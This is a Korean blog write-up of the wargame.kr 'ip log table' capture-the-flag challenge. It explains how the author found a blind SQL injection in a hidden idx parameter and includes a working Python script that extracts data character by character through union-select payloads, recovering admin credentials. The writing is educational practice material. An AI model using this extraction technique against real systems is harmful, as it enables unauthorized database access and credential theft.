White Security
[wargame.kr] ip log table 문제풀이 본문
wargame.kr 사이트의 19번째 문제입니다.
"Blind SQL Injection 문제. 아스키 코드를 날짜로 바꾸어보세요."
링크에 접속하면 접속자의 아이피가 게시판에 기록됩니다.
상단에 admin login 링크가 눈에 띄네요.
링크를 따라 들어가면 로그인 페이지가 나옵니다.
지금 할 수 있는 것은 없네요.
다시 메인페이지로 돌아와
테이블을 클릭해보면, chk.php 주소로 들어갈 수 있습니다.
IP 로그가 기록된 시간이 나오네요.
메인 페이지의 소스를 확인해보니
hidden으로 숨겨진 요소가 있습니다.
자바스크립트를 이용해서
게시판을 클릭하면, 선택한 IP의 인덱스를 idx value로 넣어
post 요청을 하도록 되어 있습니다.
curl을 이용해 idx값을 바꾸어가며 시도해보니
올바르지 않은 값에는 1970-01-01 09:00:00으로 표시되는 것을 볼 수 있습니다.
해당 시간은 타임스탬프 값이 0임을 뜻합니다.
이후 몇가지 테스트를 통해
idx 변수가 SQL Injection 취약 지점이라는 것을 확인했습니다.
시간 문자열을 타임스탬프 값으로 변경하면
데이터를 가져올 수 있겠습니다.
from urllib import request, parse import time, datetime import sys def to_timestamp(str): return int(time.mktime(datetime.datetime.strptime(str, "%Y-%m-%d %H:%M:%S").timetuple())) def get_ascii(param): data = parse.urlencode({ 'idx' : '0 union select ' + param }).encode() req = request.Request('http://wargame.kr:8080/ip_log_table/chk.php', data = data) response = request.urlopen(req).read().decode() return to_timestamp(response[response.find('') + 3 : response.find('')]) def get_length(query): return get_ascii('length(%s)' % query) def get_content(query): query = '(' + query + ')' content_len = get_length(query) content = '' if content_len == 0: print('Invalid input') return '' for idx in range(1, content_len + 1): content += chr(get_ascii('ascii(substr(%s,%d,1))' % (query, idx) )) sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content))) sys.stdout.write('\n') return content if len(sys.argv) < 2: sys.stdout.write('Using : ' + sys.argv[0] + '\n') exit() content = get_content(' '.join(sys.argv[1:]))
구현한 파이썬 스크립트입니다.
admin_table 내의 id, ps 컬럼에 관리자 계정정보가
들어 있었습니다.
'Wargame Writeups > wargame.kr' 카테고리의 다른 글
[wargame.kr] dmbs335 문제풀이 (0) | 2019.01.24 |
---|---|
[wargame.kr] lonely guys 문제풀이 (0) | 2019.01.23 |
[wargame.kr] SimpleBoard 문제풀이 (0) | 2019.01.23 |
[wargame.kr] pyc decompiler 문제풀이 (0) | 2019.01.23 |
[wargame.kr] web chatting 문제풀이 (0) | 2019.01.23 |
Comments